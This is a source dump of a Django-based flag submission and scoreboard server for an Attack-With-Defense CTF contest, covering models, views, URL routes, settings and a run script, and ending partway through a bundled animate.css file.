================================================ FILE: flag_server/webapps/app/admin.py ================================================ from django.contrib import admin ================================================ FILE: flag_server/webapps/app/apps.py ================================================ from django.apps import AppConfig class AppConfig(AppConfig): name = 'app' ================================================ FILE: flag_server/webapps/app/config.py ================================================ #coding:utf-8 import hashlib secret_key = '718c6eb587c81cb0cf6b897148bffbbe' flag_score = 100 # 一个flag的分数 Year, month, day, Hour, Minute, Second = 2020, 1, 5, 22, 11, 9 # 在此设置比赛结束的时间 年月日时分秒 round_time = 5 # 一轮五分钟 user_count = 1 # 用户数量 round_index = 1 # 第一轮 run = 1 fraction = 10000 #初始分数 status = [] score = [] for i in range(1, user_count + 1): user_name = 'user' + str(i).zfill(2) token = hashlib.md5((user_name +'moxiaoxi7777').encode('utf-8')).hexdigest() status.append([user_name, run,round_index]) score.append([user_name, fraction, token]) ================================================ FILE: flag_server/webapps/app/management/commands/__init__.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 2018/4/18 下午4:37 # @Author : tudoudou # @File : __init__.py.py # @Software: PyCharm ================================================ FILE: flag_server/webapps/app/management/commands/init.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 2018/4/18 下午4:38 # @Author : tudoudou # @File : init.py # @Software: PyCharm import os from app.config import * from app.models import Score,Status,Flag,Logs,Round from django.core.management.base import BaseCommand, CommandError class Command(BaseCommand): def add_arguments(self, parser): parser.add_argument( '-n', '--name', action='store', dest='name', default='ddd', help='name of author.', ) def handle(self, *args, **options): try: os.system('python3 manage.py makemigrations') os.system('python3 manage.py migrate') # 清空数据库 Score.objects.all().delete() Status.objects.all().delete() Flag.objects.all().delete() Logs.objects.all().delete() Round.objects.all().delete() Round(round_index=round_index).save() for i in status: Status( user_name=i[0], run=i[1], round_index=i[2] ).save() for i in score: Score( user_name=i[0], fraction=i[1], token=i[2] ).save() # for i in logs: # Logs( # user_name=i[0], # hacked_name=i[1], # flag_num=i[2], # info=i[3], # round_index=i[4], # result=i[5] # ).save() # for i in flags: # Flag( # user_name=i[0], # flag_num=i[1], # round_index=i[2] # ).save() self.stdout.write(self.style.SUCCESS('初始化成功,请尽情使用吧 (~o ̄▽ ̄)~o ~。。。')) except Exception: self.stdout.write(self.style.ERROR('命令执行出错')) ================================================ FILE: flag_server/webapps/app/migrations/0001_initial.py ================================================ # Generated by Django 2.1.3 on 2018-11-08 13:02 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Flag', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('user_name', models.CharField(max_length=10)), ('flag_num', models.CharField(max_length=50)), ('create_time', models.DateTimeField(auto_now_add=True)), ('round_index', models.IntegerField()), ], ), migrations.CreateModel( name='Logs', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('user_name', models.CharField(max_length=10)), ('hacked_name', models.CharField(max_length=10)), ('flag_num', models.CharField(max_length=50)), ('last', models.DateTimeField(auto_now_add=True)), ('info', models.CharField(max_length=50)), ('round_index', models.IntegerField()), ('result', models.IntegerField()), ], ), migrations.CreateModel( name='Round', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('round_index', models.IntegerField()), ], ), migrations.CreateModel( name='Score', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('user_name', models.CharField(max_length=10)), ('fraction', models.IntegerField()), ('last', models.DateTimeField(auto_now=True)), ('token', models.CharField(max_length=50)), ], ), migrations.CreateModel( name='Status', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('user_name', models.CharField(max_length=10)), ('run', models.IntegerField()), ('round_index', models.IntegerField()), ('create_time', models.DateTimeField(auto_now_add=True)), ], ), ] ================================================ FILE: flag_server/webapps/app/migrations/__init__.py ================================================ ================================================ FILE: flag_server/webapps/app/models.py ================================================ from django.db import models # Create your models here. class Flag(models.Model): """ 靶机编号,靶机flag,flag入库时间 """ user_name = models.CharField(max_length=10) flag_num = models.CharField(max_length=50) create_time = models.DateTimeField(auto_now_add=True) round_index = models.IntegerField() class Round(models.Model): round_index = models.IntegerField() class Score(models.Model): """ 选手编号,选手分数,选手最后一次提交时间,选手的token值 """ user_name = models.CharField(max_length=10) fraction = models.IntegerField() last = models.DateTimeField(auto_now=True) token = models.CharField(max_length=50) class Logs(models.Model): """ 选手编号,被攻击者,提交的flag,flag提交时间,信息, 轮次,分数变化 """ user_name = models.CharField(max_length=10) hacked_name = models.CharField(max_length=10) flag_num = models.CharField(max_length=50) last = models.DateTimeField(auto_now_add=True) info = models.CharField(max_length=50) round_index = models.IntegerField() result = models.IntegerField() class Status(models.Model): """ 靶机编号,选手编号,服务器是否正常运行 """ user_name = models.CharField(max_length=10) run = models.IntegerField() round_index = models.IntegerField() create_time = models.DateTimeField(auto_now_add=True) ================================================ FILE: flag_server/webapps/app/views.py ================================================ # coding=utf-8 from django.shortcuts import render from django.contrib.auth.decorators import login_required from django.shortcuts import redirect from django.contrib.auth import login, authenticate, logout from django.http import HttpResponse, HttpResponseNotFound from django.db.models import F from .models import Score, Flag, Logs, Status, Round from .config import * import datetime from django.db.models import Q import hashlib import time def dict2list(dic): ''' 将字典转化为列表 ''' keys = dic.keys() vals = dic.values() lst = [(key, val) for key, val in zip(keys, vals)] return lst def account_login(request): message = ['success', '欢迎来到登陆页面'] if request.method == 'POST': username = request.POST.get('username') password = request.POST.get('password') user = authenticate(username=username, password=password) if user: login(request, user) return redirect('/admin/') else: message = ['warning', '登陆失败'] return render(request, 'login.html', {'message': message, 'Year': Year, 'month': month, 'day': day, 'Hour': Hour, 'Minute': Minute, 'Second': Second, 'mess': None, 'backimg': 6, 'height': 100}) def accounts_logout(request): logout(request) return redirect('/accounts/login') # Create your views here. def index(request): utcnow = datetime.datetime.now() log = -3 message = ['success', '欢迎来到提交平台'] ti = datetime.datetime(Year, month, day, Hour, Minute, Second) if utcnow > ti: message = "warning", "比赛已结束!" elif request.POST: # 判断是否正确用户 score_change = 0 token = request.POST['token'] flag = request.POST['flag'] score_result = Score.objects.filter(token=request.POST['token']) flag_result = Flag.objects.filter(flag_num=request.POST['flag']) round_index = Round.objects.all()[0].round_index # 判断token是否正确 if score_result: # 判断flag是否正确 if flag_result: # 判断是否提交自己的flag if flag_result[0].user_name == score_result[0].user_name: message = "warning", "不允许提交自己的flag" elif round_index == flag_result[0].round_index: # 是否超时 # 是否在该轮提交过 if Logs.objects.filter(user_name=score_result[0].user_name, flag_num=flag, round_index=flag_result[0].round_index): message = "warning", "flag已提交" else: message = "success", "flag提交成功!" score_change = flag_score attack_score = Score.objects.get(token=token) attack_score.fraction = F('fraction') + score_change attack_score.save() attacked_score = Score.objects.get(user_name=flag_result[0].user_name) attacked_score.fraction = F('fraction') - score_change attacked_score.save() else: # 超时 message = "warning", "flag已过期" # 攻击者 Logs( user_name=score_result[0].user_name, hacked_name=flag_result[0].user_name, flag_num=flag, info=message[1], round_index=flag_result[0].round_index, result=score_change ).save() else: message = "warning", "flag错误" else: message = "warning", "token错误" return render(request, 'index.html', {'message': message, 'Year': Year, 'month': month, 'day': day, 'Hour': Hour, 'Minute': Minute, 'Second': Second, 'mess': None, 'backimg': 6, 'height': 100}) def score(request): message = ['success', '来查看总榜了呢'] return render(request, 'table.html', {'message': message, 'Year': Year, 'month': month, 'day': day, 'Hour': Hour, 'Minute': Minute, 'Second': Second, 'backimg': 6, 'height': 150}) # 看分数 def user_api1(request): htmls = '' html = {} round_index = Round.objects.all()[0].round_index for i in Status.objects.filter(round_index=round_index): s = Score.objects.filter(user_name=i.user_name)[0] if i.run == 0: r = '服务宕机' else: r = '运行正常' html[i.user_name] = [int(s.fraction), r] htm = sorted(dict2list(html), key=lambda x: x[1], reverse=True) # 按照第1个元素降序排列 j = 1 for i in htm: t = str(j) htmls += """第{}名{}{}{}""".format( t, i[0], ' ' + str(i[1][0]), i[1][1]) j += 1 return HttpResponse(htmls) # admin 看分数 @login_required def admin_api1(request): htmls = '' html = {} round_index = Round.objects.all()[0].round_index for i in Status.objects.filter(round_index=round_index): s = Score.objects.filter(user_name=i.user_name)[0] if i.run == 0: r = '服务宕机' else: r = '运行正常' r += '{}'.format(s.token) html[i.user_name] = [int(s.fraction), r] htm = sorted(dict2list(html), key=lambda x: x[1], reverse=True) # 按照第1个元素降序排列 j = 1 for i in htm: if j == 1: t = str(j) htmls += """第{}名{}{}{}""".format( t, i[0], ' ' + str(i[1][0]), i[1][1]) j += 1 continue if j == 2: t = str(j) htmls += """第{}名{}{}{}""".format( t, i[0], ' ' + str(i[1][0]), i[1][1]) j += 1 continue if j == 3: t = str(j) htmls += """第{}名{}{}{}""".format( t, i[0], ' ' + str(i[1][0]), i[1][1]) j += 1 continue else: t = str(j) htmls += "第{}名{}{}{}".format(t, i[0], ' ' + str(i[1][0]), i[1][1]) j += 1 return HttpResponse(htmls) # 状态日志 def user_api2(request): html = '' round_index = Round.objects.all()[0].round_index for i in Logs.objects.filter(Q(result=100) | Q(result=-100, round_index=round_index))[ ::-1][0:20]: html += """{}{}{}{}{}{}""".format( round_index, i.user_name, i.hacked_name, str(i.last)[5:19], i.result, i.info, ) return HttpResponse(html) @login_required def admin_api2(request): html = '' for i in Logs.objects.all()[::-1][0:100]: html += """{}{}{}{}{}{}{}""".format( i.round_index, i.user_name, i.hacked_name, str(i.last)[5:19], i.flag_num, i.info, i.result ) return HttpResponse(html) # flag状态 @login_required def admin_api3(request): html = '' utcnow = datetime.datetime.now().replace(tzinfo=None) for i in Flag.objects.all()[::-1][0:50]: round_index = Round.objects.all()[0].round_index if round_index == i.round_index: te = '有效' else: te = '已失效' html += """{}{}{}{}""".format( i.round_index, i.user_name, i.flag_num, te ) return HttpResponse(html) def update(request): """ 更新flag和服务器状态 :param request: :return: """ key = request.POST['secret_key'] user_name = request.POST['user_name'] action = request.POST['action'] data = request.POST['data'] round_index = int(request.POST['round_index']) if key == secret_key: if action == 'flag': Flag( user_name=user_name, flag_num=data, round_index=round_index, ).save() Round.objects.all().update(round_index=round_index) # 开始新的一轮 Status.objects.all().update(round_index=round_index) return HttpResponse("flag updated succ") if action == 'status': if int(data): enc = 1 else: enc = -1 Status.objects.filter(user_name=user_name, round_index=round_index).update(run=data) if enc > 0: # Score.objects.filter(user_name=user_name).update(fraction=fraction + flag_score* enc) Logs( user_name=user_name, hacked_name=user_name, flag_num='null', info="运行正常!", round_index=round_index, result=0 ).save() else: downserver_score = Score.objects.get(user_name=user_name) downserver_score.fraction = F('fraction') + flag_score * enc downserver_score.save() Logs( user_name=user_name, hacked_name=user_name, flag_num='null', info="服务器宕机!", round_index=round_index, result=flag_score * enc ).save() return HttpResponse("status updated succ") return HttpResponseNotFound @login_required def admin(request): message = ['success', '欢迎管理大大的到来'] if request.POST: if int(request.POST['run']) == 1: info = "服务器正常 by admin" enc = 1 else: info = "服务器宕机 by admin" enc = -1 user_name = request.POST['user_name'] round_index = Round.objects.all()[0].round_index server_score = Score.objects.get(user_name=user_name) server_score.fraction = F('fraction') + flag_score * enc server_score.save() Status.objects.filter(user_name=user_name, round_index=round_index).update(run=request.POST['run']) Logs( user_name=user_name, hacked_name=user_name, flag_num='null', info=info, round_index=round_index, result=flag_score * enc ).save() message = ['success', '修改成功了呢'] status_ = Status.objects.all() return render(request, 'admin.html', {'status': status_, 'message': message, 'backimg': 6, 'height': 100}) @login_required def admin_table(request): message = ['success', '来查看总榜了呢'] return render(request, 'admin_table.html', {'message': message, 'backimg': 6, 'height': 150}) ================================================ FILE: flag_server/webapps/awd_platform/settings.py ================================================ """ Django settings for awd_platform project. Generated by 'django-admin startproject' using Django 2.0.4. For more information on this file, see https://docs.djangoproject.com/en/2.0/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.0/ref/settings/ """ import os # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/2.0/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = 't+#spxSw-o%dd4s@f-k#h546$7)2sy#@io^ogs21ptwh&=q' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = ['*'] # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'app.apps.AppConfig', ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'awd_platform.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [os.path.join(BASE_DIR, 'templates')], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'awd_platform.wsgi.application' # Database # https://docs.djangoproject.com/en/2.0/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(BASE_DIR, 'awd.db'), } } # Password validation # https://docs.djangoproject.com/en/2.0/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/2.0/topics/i18n/ LANGUAGE_CODE = 'zh-Hans' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/2.0/howto/static-files/ STATIC_URL = '/static/' STATICFILES_DIRS = [ os.path.join(BASE_DIR, "static"),] ================================================ FILE: flag_server/webapps/awd_platform/urls.py ================================================ """awd_platform URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/2.0/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') Including another URLconf 1. Import the include() function: from django.urls import include, path 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) """ from django.contrib import admin from django.urls import path from app import views from .settings import * from django.conf import settings from django.conf.urls.static import static urlpatterns = [ # path('admin/', admin.site.urls), path('', views.index, name='index'), path('score/', views.score, name='score'), path('accounts/login/', views.account_login, name='admin_login'), path('admin/', views.admin, name='admin'), path('admin/table/', views.admin_table, name='admin_table'), path('user_api1/', views.user_api1, name='user_api1'), path('user_api2/', views.user_api2, name='user_api2'), path('admin_api1/', views.admin_api1, name='admin_api1'), path('admin_api2/', views.admin_api2, name='admin_api2'), path('admin_api3/', views.admin_api3, name='admin_api3'), path('adm1n_ap1', views.update, name='update'), ] + static(settings.STATIC_URL, document_root=settings.STATIC_ROOT) ================================================ FILE: flag_server/webapps/awd_platform/wsgi.py ================================================ """ WSGI config for awd_platform project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/2.0/howto/deployment/wsgi/ """ # import os # from django.core.wsgi import get_wsgi_application # os.environ.setdefault("DJANGO_SETTINGS_MODULE", "awd_platform.settings") # application = get_wsgi_application() import os from os.path import join, dirname, abspath PROJECT_DIR = dirname(dirname(abspath(__file__))) import sys sys.path.insert(0, PROJECT_DIR) os.environ.setdefault("DJANGO_SETTINGS_MODULE", "awd_platform.settings") from django.core.wsgi import get_wsgi_application application = get_wsgi_application() ================================================ FILE: flag_server/webapps/manage.py ================================================ #!/usr/bin/env python import os import sys if __name__ == "__main__": os.environ.setdefault("DJANGO_SETTINGS_MODULE", "awd_platform.settings") try: from django.core.management import execute_from_command_line except ImportError as exc: raise ImportError( "Couldn't import Django. Are you sure it's installed and " "available on your PYTHONPATH environment variable? Did you " "forget to activate a virtual environment?" ) from exc import * execute_from_command_line(sys.argv) ================================================ FILE: flag_server/webapps/requirements.txt ================================================ Django==2.1.3 pytz==2018.7 ================================================ FILE: flag_server/webapps/run.sh ================================================ #!/bin/sh python3 manage.py init python3 manage.py runserver 0.0.0.0:8000 --insecure ================================================ FILE: flag_server/webapps/static/css/animate.css ================================================ @charset "UTF-8";/*! * animate.css -http://daneden.me/animate * Version - 3.5.1 * Licensed under the MIT license - http://opensource.org/licenses/MIT * * Copyright (c) 2016 Daniel Eden */.animated{-webkit-animation-duration:1s;animation-duration:1s;-webkit-animation-fill-mode:both;animation-fill-mode:both}.animated.infinite{-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite}.animated.hinge{-webkit-animation-duration:2s;animation-duration:2s}.animated.flipOutX,.animated.flipOutY,.animated.bounceIn,.animated.bounceOut{-webkit-animation-duration:.75s;animation-duration:.75s}@-webkit-keyframes bounce{from,20%,53%,80%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1.000);animation-timing-function:cubic-bezier(.215,.61,.355,1.000);-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}40%,43%{-webkit-animation-timing-function:cubic-bezier(.755,.05,.855,.06);animation-timing-function:cubic-bezier(.755,.05,.855,.06);-webkit-transform:translate3d(0,-30px,0);transform:translate3d(0,-30px,0)}70%{-webkit-animation-timing-function:cubic-bezier(.755,.05,.855,.06);animation-timing-function:cubic-bezier(.755,.05,.855,.06);-webkit-transform:translate3d(0,-15px,0);transform:translate3d(0,-15px,0)}90%{-webkit-transform:translate3d(0,-4px,0);transform:translate3d(0,-4px,0)}}@keyframes bounce{from,20%,53%,80%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1.000);animation-timing-function:cubic-bezier(.215,.61,.355,1.000);-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}40%,43%{-webkit-animation-timing-function:cubic-bezier(.755,.05,.855,.06);animation-timing-function:cubic-bezier(.755,.05,.855,.06);-webkit-transform:translate3d(0,-30px,0);transform:translate3d(0,-30px,0)}70%{-webkit-animation-timing-function:cubic-bezier(.755,.05,.855,.06);animation-timing-function:cubic-bezier(.755,.05,.855,.06);-webkit-transform:translate3d(0,-15px,0);transform:translate3d(0,-15px,0)}90%{-webkit-transform:translate3d(0,-4px,0);transform:translate3d(0,-4px,0)}}.bounce{-webkit-animation-name:bounce;animation-name:bounce;-webkit-transform-origin:center bottom;transform-origin:center bottom}@-webkit-keyframes flash{from,50%,to{opacity:1}25%,75%{opacity:0}}@keyframes flash{from,50%,to{opacity:1}25%,75%{opacity:0}}.flash{-webkit-animation-name:flash;animation-name:flash}@-webkit-keyframes pulse{from{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}50%{-webkit-transform:scale3d(1.05,1.05,1.05);transform:scale3d(1.05,1.05,1.05)}to{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes pulse{from{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}50%{-webkit-transform:scale3d(1.05,1.05,1.05);transform:scale3d(1.05,1.05,1.05)}to{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}.pulse{-webkit-animation-name:pulse;animation-name:pulse}@-webkit-keyframes rubberBand{from{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}30%{-webkit-transform:scale3d(1.25,.75,1);transform:scale3d(1.25,.75,1)}40%{-webkit-transform:scale3d(.75,1.25,1);transform:scale3d(.75,1.25,1)}50%{-webkit-transform:scale3d(1.15,.85,1);transform:scale3d(1.15,.85,1)}65%{-webkit-transform:scale3d(.95,1.05,1);transform:scale3d(.95,1.05,1)}75%{-webkit-transform:scale3d(1.05,.95,1);transform:scale3d(1.05,.95,1)}to{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes rubberBand{from{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}30%{-webkit-transform:scale3d(1.25,.75,1);transform:scale3d(1.25,.75,1)}40%{-webkit-transform:scale3d(.75,1.25,1);transform:scale3d(.75,1.25,1)}50%{-webkit-transform:scale3d(1.15,.85,1);transform:scale3d(1.15,.85,1)}65%{-webkit-transform:scale3d(.95,1.05,1);transform:scale3d(.95,1.05,1)}75%{-webkit-transform:scale3d(1.05,.95,1);transform:scale3d(1.05,.95,1)}to{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}.rubberBand{-webkit-animation-name:rubberBand;animation-name:rubberBand}@-webkit-keyframes shake{from,to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}10%,30%,50%,70%,90%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}20%,40%,60%,80%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}}@keyframes shake{from,to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}10%,30%,50%,70%,90%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}20%,40%,60%,80%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}}.shake{-webkit-animation-name:shake;animation-name:shake}@-webkit-keyframes headShake{0%{-webkit-transform:translateX(0);transform:translateX(0)}6.5%{-webkit-transform:translateX(-6px) rotateY(-9deg);transform:translateX(-6px) rotateY(-9deg)}18.5%{-webkit-transform:translateX(5px) rotateY(7deg);transform:translateX(5px) rotateY(7deg)}31.5%{-webkit-transform:translateX(-3px) rotateY(-5deg);transform:translateX(-3px) rotateY(-5deg)}43.5%{-webkit-transform:translateX(2px) rotateY(3deg);transform:translateX(2px) rotateY(3deg)}50%{-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes headShake{0%{-webkit-transform:translateX(0);transform:translateX(0)}6.5%{-webkit-transform:translateX(-6px) rotateY(-9deg);transform:translateX(-6px) rotateY(-9deg)}18.5%{-webkit-transform:translateX(5px) rotateY(7deg);transform:translateX(5px) rotateY(7deg)}31.5%{-webkit-transform:translateX(-3px) rotateY(-5deg);transform:translateX(-3px) rotateY(-5deg)}43.5%{-webkit-transform:translateX(2px) rotateY(3deg);transform:translateX(2px) rotateY(3deg)}50%{-webkit-transform:translateX(0);transform:translateX(0)}}.headShake{-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out;-webkit-animation-name:headShake;animation-name:headShake}@-webkit-keyframes swing{20%{-webkit-transform:rotate3d(0,0,1,15deg);transform:rotate3d(0,0,1,15deg)}40%{-webkit-transform:rotate3d(0,0,1,-10deg);transform:rotate3d(0,0,1,-10deg)}60%{-webkit-transform:rotate3d(0,0,1,5deg);transform:rotate3d(0,0,1,5deg)}80%{-webkit-transform:rotate3d(0,0,1,-5deg);transform:rotate3d(0,0,1,-5deg)}to{-webkit-transform:rotate3d(0,0,1,0deg);transform:rotate3d(0,0,1,0deg)}}@keyframes swing{20%{-webkit-transform:rotate3d(0,0,1,15deg);transform:rotate3d(0,0,1,15deg)}40%{-webkit-transform:rotate3d(0,0,1,-10deg);transform:rotate3d(0,0,1,-10deg)}60%{-webkit-transform:rotate3d(0,0,1,5deg);transform:rotate3d(0,0,1,5deg)}80%{-webkit-transform:rotate3d(0,0,1,-5deg);transform:rotate3d(0,0,1,-5deg)}to{-webkit-transform:rotate3d(0,0,1,0deg);transform:rotate3d(0,0,1,0deg)}}.swing{-webkit-transform-origin:top center;transform-origin:top center;-webkit-animation-name:swing;animation-name:swing}@-webkit-keyframes tada{from{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}10%,20%{-webkit-transform:scale3d(.9,.9,.9) rotate3d(0,0,1,-3deg);transform:scale3d(.9,.9,.9) rotate3d(0,0,1,-3deg)}30%,50%,70%,90%{-webkit-transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,3deg);transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,3deg)}40%,60%,80%{-webkit-transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,-3deg);transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,-3deg)}to{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes tada{from{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}10%,20%{-webkit-transform:scale3d(.9,.9,.9) rotate3d(0,0,1,-3deg);transform:scale3d(.9,.9,.9) rotate3d(0,0,1,-3deg)}30%,50%,70%,90%{-webkit-transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,3deg);transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,3deg)}40%,60%,80%{-webkit-transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,-3deg);transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,-3deg)}to{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}.tada{-webkit-animation-name:tada;animation-name:tada}@-webkit-keyframes wobble{from{-webkit-transform:none;transform:none}15%{-webkit-transform:translate3d(-25%,0,0) rotate3d(0,0,1,-5deg);transform:translate3d(-25%,0,0) rotate3d(0,0,1,-5deg)}30%{-webkit-transform:translate3d(20%,0,0) rotate3d(0,0,1,3deg);transform:translate3d(20%,0,0) rotate3d(0,0,1,3deg)}45%{-webkit-transform:translate3d(-15%,0,0) rotate3d(0,0,1,-3deg);transform:translate3d(-15%,0,0) rotate3d(0,0,1,-3deg)}60%{-webkit-transform:translate3d(10%,0,0) rotate3d(0,0,1,2deg);transform:translate3d(10%,0,0) rotate3d(0,0,1,2deg)}75%{-webkit-transform:translate3d(-5%,0,0) rotate3d(0,0,1,-1deg);transform:translate3d(-5%,0,0) rotate3d(0,0,1,-1deg)}to{-webkit-transform:none;transform:none}}@keyframes wobble{from{-webkit-transform:none;transform:none}15%{-webkit-transform:translate3d(-25%,0,0) rotate3d(0,0,1,-5deg);transform:translate3d(-25%,0,0) rotate3d(0,0,1,-5deg)}30%{-webkit-transform:translate3d(20%,0,0) rotate3d(0,0,1,3deg);transform:translate3d(20%,0,0) rotate3d(0,0,1,3deg)}45%{-webkit-transform:translate3d(-15%,0,0) rotate3d(0,0,1,-3deg);transform:translate3d(-15%,0,0) rotate3d(0,0,1,-3deg)}60%{-webkit-transform:translate3d(10%,0,0) rotate3d(0,0,1,2deg);transform:translate3d(10%,0,0) rotate3d(0,0,1,2deg)}75%{-webkit-transform:translate3d(-5%,0,0) rotate3d(0,0,1,-1deg);transform:translate3d(-5%,0,0) rotate3d(0,0,1,-1deg)}to{-webkit-transform:none;transform:none}}.wobble{-webkit-animation-name:wobble;animation-name:wobble}@-webkit-keyframes jello{from,11.1%,to{-webkit-transform:none;transform:none}22.2%{-webkit-transform:skewX(-12.5deg) skewY(-12.5deg);transform:skewX(-12.5deg) skewY(-12.5deg)}33.3%{-webkit-transform:skewX(6.25deg) skewY(6.25deg);transform:skewX(6.25deg) skewY(6.25deg)}44.4%{-webkit-transform:skewX(-3.125deg) skewY(-3.125deg);transform:skewX(-3.125deg) skewY(-3.125deg)}55.5%{-webkit-transform:skewX(1.5625deg) skewY(1.5625deg);transform:skewX(1.5625deg) skewY(1.5625deg)}66.6%{-webkit-transform:skewX(-.78125deg) skewY(-.78125deg);transform:skewX(-.78125deg) skewY(-.78125deg)}77.7%{-webkit-transform:skewX(.390625deg) skewY(.390625deg);transform:skewX(.390625deg) skewY(.390625deg)}88.8%{-webkit-transform:skewX(-.1953125deg) skewY(-.1953125deg);transform:skewX(-.1953125deg) skewY(-.1953125deg)}}@keyframes jello{from,11.1%,to{-webkit-transform:none;transform:none}22.2%{-webkit-transform:skewX(-12.5deg) skewY(-12.5deg);transform:skewX(-12.5deg) skewY(-12.5deg)}33.3%{-webkit-transform:skewX(6.25deg) skewY(6.25deg);transform:skewX(6.25deg) skewY(6.25deg)}44.4%{-webkit-transform:skewX(-3.125deg) skewY(-3.125deg);transform:skewX(-3.125deg) skewY(-3.125deg)}55.5%{-webkit-transform:skewX(1.5625deg) skewY(1.5625deg);transform:skewX(1.5625deg) skewY(1.5625deg)}66.6%{-webkit-transform:skewX(-.78125deg) skewY(-.78125deg);transform:skewX(-.78125deg) skewY(-.78125deg)}77.7%{-webkit-transform:skewX(.390625deg) skewY(.390625deg);transform:skewX(.390625deg) skewY(.390625deg)}88.8%{-webkit-transform:skewX(-.1953125deg) skewY(-.1953125deg);transform:skewX(-.1953125deg) skewY(-.1953125deg)}}.jello{-webkit-animation-name:jello;animation-name:jello;-webkit-transform-origin:center;transform-origin:center}@-webkit-keyframes bounceIn{from,20%,40%,60%,80%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1.000);animation-timing-function:cubic-bezier(.215,.61,.355,1.000)}0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}20%{-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}40%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}60%{opacity:1;-webkit-transform:scale3d(1.03,1.03,1.03);transform:scale3d(1.03,1.03,1.03)}80%{-webkit-transform:scale3d(.97,.97,.97);transform:scale3d(.97,.97,.97)}to{opacity:1;-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes 